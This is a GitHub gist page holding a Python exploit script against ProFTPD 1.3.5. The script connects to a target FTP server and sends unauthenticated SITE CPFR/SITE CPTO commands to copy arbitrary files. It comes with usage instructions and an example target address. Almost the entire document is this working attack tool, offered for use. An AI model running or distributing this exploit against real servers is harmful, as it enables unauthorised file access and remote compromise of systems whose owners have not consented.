Skip to content

Instantly share code, notes, and snippets.

@hjhgitw
Forked from Madhava-mng/proftpd_1.3.5_.py
Created June 9, 2022 10:35
Show Gist options
  • Select an option

  • Save hjhgitw/d1f3c776f29eaa83903824762e28b104 to your computer and use it in GitHub Desktop.

Select an option

Save hjhgitw/d1f3c776f29eaa83903824762e28b104 to your computer and use it in GitHub Desktop.

Revisions

  1. @Madhava-mng Madhava-mng created this gist Oct 10, 2020.
    53 changes: 53 additions & 0 deletions proftpd_1.3.5_.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,53 @@
    #!/bin/python3
    import socket
    from threading import Thread
    from sys import argv as _arg_
    from time import sleep
    '''
    proftpd 1.3.5 is Vulnearable to Copy Remote Command Execution
    usage: proftpd_1.3.5.py <TARGET_IP> <PORT> <PATH_TO_COPY> <PATH_TO_PAST>
    eg: proftpd_1.3.5.py 10.2.43.12 21 /home/user/FileToCopy /var/tmp/PathToPast
    '''
    def main():
    core = {
    "MAIN": {
    "COPY": b"SITE CPFR ",
    "PAST": b"SITE CPTO ",
    },
    "PRINT": {
    "SUCCESS": "[*] Conection status\t[ok]",
    "FAIL": "[!] Conection status\t[PipeBroken]",
    "OUT": "[RES] ",
    "TITLE": "\n[*] proftpd 1.3.5 is Vulnearable to Copy Remote Command Execution"
    },
    "LN": "\n",
    "ENCODE": "UTF-8",
    "SIZE": 1024
    }
    IP = _arg_[1]
    PORT = int(_arg_[2])
    CPFROM = _arg_[3]+core["LN"]
    CPTO = _arg_[4]+core["LN"]

    def recive(PROFTPD135, core):
    for i in range(1, 4):
    print(core["PRINT"]["OUT"] + PROFTPD135.recv(core["SIZE"]).decode(core["ENCODE"]), end="")
    sleep(0.2)
    try:
    PROFTPD135 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    PROFTPD135.connect((IP, PORT))
    print(core["PRINT"]["SUCCESS"]+core["PRINT"]["TITLE"])
    Thread(target=recive, args=(PROFTPD135, core,)).start()
    PROFTPD135.send(core["MAIN"]["COPY"]+CPFROM.encode(core["ENCODE"]))
    PROFTPD135.send(core["MAIN"]["PAST"]+CPTO.encode(core["ENCODE"]))
    sleep(10)
    PROFTPD135.close()
    raise SystemExit()
    except:
    print(core["PRINT"]["FAIL"])

    try:
    if __name__ == "__main__":
    main()
    except:
    print(_arg_[0]+" <TARGET_IP> <PORT> <PATH_TO_COPY> <PATH_TO_PAST>")